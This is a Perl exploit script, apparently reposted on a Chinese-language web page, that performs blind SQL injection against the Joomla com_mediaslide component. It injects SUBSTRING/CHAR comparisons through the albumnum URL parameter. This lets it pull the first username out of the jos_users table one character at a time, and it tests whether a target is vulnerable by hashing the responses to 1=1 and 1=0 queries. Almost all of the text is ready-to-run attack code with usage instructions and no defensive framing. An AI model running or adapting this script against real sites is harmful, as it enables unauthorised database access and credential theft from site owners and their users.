|
#!/usr/bin/perl
#inphex
#joomla com_mediaslide blind sql injection
use LWP::UserAgent;
use LWP::Simple;
use Switch;
use Digest::MD5 qw(md5 md5_hex md5_base64);
print "usage: $0 -h host.com -p /\n";
### use Getopt::Long; ###
$column = "username";
$table = "jos_users";
$regex = "preview_f2";
%cm_n_ = ("-h" => "host","-p" => "path","-c" => "column","-t" => "table","-r" => "regex");
$a = 0;
foreach (@ARGV) {
$a++;
while (($k, $v) = each(%cm_n_)) {
if ($_ eq $k) {
${$v} = $ARGV[$a];
}
}
}
$i = 48;
$h = 1;
$f = 0;
$k = 0;
### Yeah,that's it... ###
while () {
while ($i <= 90) {
if(check($i,$h,1) == 1)
{
syswrite STDOUT,lc(chr($i));
$h++;
$a_chr = $a_chr.chr($i);
}
$i++;
}
push(@ffs,length($a_chr));
if (($#ffs -1) == $ffs) {
&check_vuln();
exit;
}
$i = 48;
}
#/
### :D ###
sub check($$$)
{
$i = shift;
$h = shift;
$m = shift;
switch ($m)
{
case 1 { $query = "%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),".$h.",1)=CHAR(".$i.")"; }
}
$ua = LWP::UserAgent->new;
$url = "http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1".$query."";
$response = $ua->get($url);
$content = $response->content;
if($content =~ /$regex/) { return 0;} else { return 1 ;}
}
#/
sub check_vuln
{
$content = get("http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1%20AND%201=1");
$content1 = get("http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1%20AND%201=0");
foreach $bb1 (split(/\n/,$content)) {
$bb = $bb.$bb1;
}
foreach $yy1 (split(/\n/,$content1)) {
$yy = $yy.$yy1;
}
$f = md5_hex($bb);
$s = md5_hex($yy);
if ($f eq $s) {
print "\nprobably not vulnerable"; #could be that ads,texts etc.. change
exit;
} else { print "\nvulnerable..."; }
}
|
| |
|
推荐
评论(0条)
